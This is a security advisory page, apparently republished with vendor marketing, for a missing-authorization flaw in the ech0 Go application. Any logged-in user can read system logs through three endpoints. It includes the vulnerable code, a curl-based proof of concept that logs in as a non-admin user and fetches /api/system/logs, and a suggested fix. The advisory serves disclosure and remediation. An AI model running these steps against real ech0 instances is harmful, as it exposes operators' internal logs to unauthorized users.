GHSA-CP79-9MWR-WR49

GHSA-CP79-9MWR-WR49 is a medium-severity missing authorization vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 4.3.5. It is fixed in 4.3.5.

Summary

Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.

Details

The issue is caused by an authorization gap between route registration, handler logic, and the service layer.

internal/router/dashboard.go registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:

func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	// Auth
	appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
	appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
	appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}

internal/handler/dashboard/dashboard.go returns log data directly and the SSE/WS handlers only check whether jwtUtil.ParseToken(token) succeeds:

func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {
	return res.Execute(func(ctx *gin.Context) res.Response {
		logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{
			Tail:    tail,
			Level:   ctx.Query("level"),
			Keyword: ctx.Query("keyword"),
		})
		if err != nil {
			return res.Response{Err: err}
		}
		return res.Response{
			Data: logs,
			Msg:  "获取系统日志成功",
		}
	})
}

internal/service/dashboard/dashboard.go exposes the log backend without adding a compensating admin check:

func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {
	tail := query.Tail
	if tail <= 0 {
		tail = 200
	}
	return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}

Affected endpoints:

  • GET /api/system/logs
  • GET /api/system/logs/stream?token=...
  • GET /ws/system/logs?token=...

Proof of concept

1. Start the app

docker run -d \
  --name ech0 \
  -p 6277:6277 \
  -v /opt/ech0/data:/app/data \
  -e JWT_SECRET="Hello Echos" \
  sn0wl1n/ech0:latest

2. Initialize an owner account and register a normal user

curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
  -H 'Content-Type: application/json' \
  -d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'

curl -sS -X POST "http://127.0.0.1:6277/api/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"winky","password":"winkypass","email":"[email protected]"}'

3. Log in as the non-admin user and request the system log endpoint

winky_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/login" \
    -H 'Content-Type: application/json' \
    -d '{"username":"winky","password":"winkypass"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

curl -sS "http://127.0.0.1:6277/api/system/logs" \
  -H "Authorization: Bearer $winky_token"

Observed response: the non-admin user receives 200 OK and a JSON response containing entries from app.log

The same missing-authorization pattern also affects:

  • GET /api/system/logs/stream?token=<non-admin-token>
  • GET /ws/system/logs?token=<non-admin-token>

Impact

Any valid user session can access GET /api/system/logs and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

GHSA-CP79-9MWR-WR49 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.3.5); upgrading removes the vulnerable code path.

Affected versions

github.com/lin-snow/ech0 (< 4.3.5)

Security releases

github.com/lin-snow/ech0 → 4.3.5 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.

Suggested change in internal/router/dashboard.go:

import (
	"github.com/lin-snow/ech0/internal/handler"
	"github.com/lin-snow/ech0/internal/middleware"
	authModel "github.com/lin-snow/ech0/internal/model/auth"
)

func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET(
		"/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.GetSystemLogs(),
	)
	appRouterGroup.AuthRouterGroup.GET(
		"/system/logs/stream",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.SSESubscribeSystemLogs(),
	)
	appRouterGroup.WSRouterGroup.GET(
		"/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.WSSubscribeSystemLogs(),
	)
}

Suggested defense-in-depth change in the service layer:

func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {
	if err := s.ensureAdmin(ctx); err != nil {
		return nil, err
	}

	tail := query.Tail
	if tail <= 0 {
		tail = 200
	}
	return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}

Frequently Asked Questions

  1. What is GHSA-CP79-9MWR-WR49? GHSA-CP79-9MWR-WR49 is a medium-severity missing authorization vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 4.3.5. It is fixed in 4.3.5. The application does not perform an authorization check before performing a sensitive operation.
  2. How severe is GHSA-CP79-9MWR-WR49? GHSA-CP79-9MWR-WR49 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/lin-snow/ech0 are affected by GHSA-CP79-9MWR-WR49? github.com/lin-snow/ech0 (go) versions < 4.3.5 is affected.
  4. Is there a fix for GHSA-CP79-9MWR-WR49? Yes. GHSA-CP79-9MWR-WR49 is fixed in 4.3.5. Upgrade to this version or later.
  5. Is GHSA-CP79-9MWR-WR49 exploitable, and should I be worried? Whether GHSA-CP79-9MWR-WR49 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-CP79-9MWR-WR49 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-CP79-9MWR-WR49? Upgrade github.com/lin-snow/ech0 to 4.3.5 or later.

Other vulnerabilities in github.com/lin-snow/ech0

CVE-2026-35037CVE-2026-33638

Stop the waste.
Protect your environment with Kodem.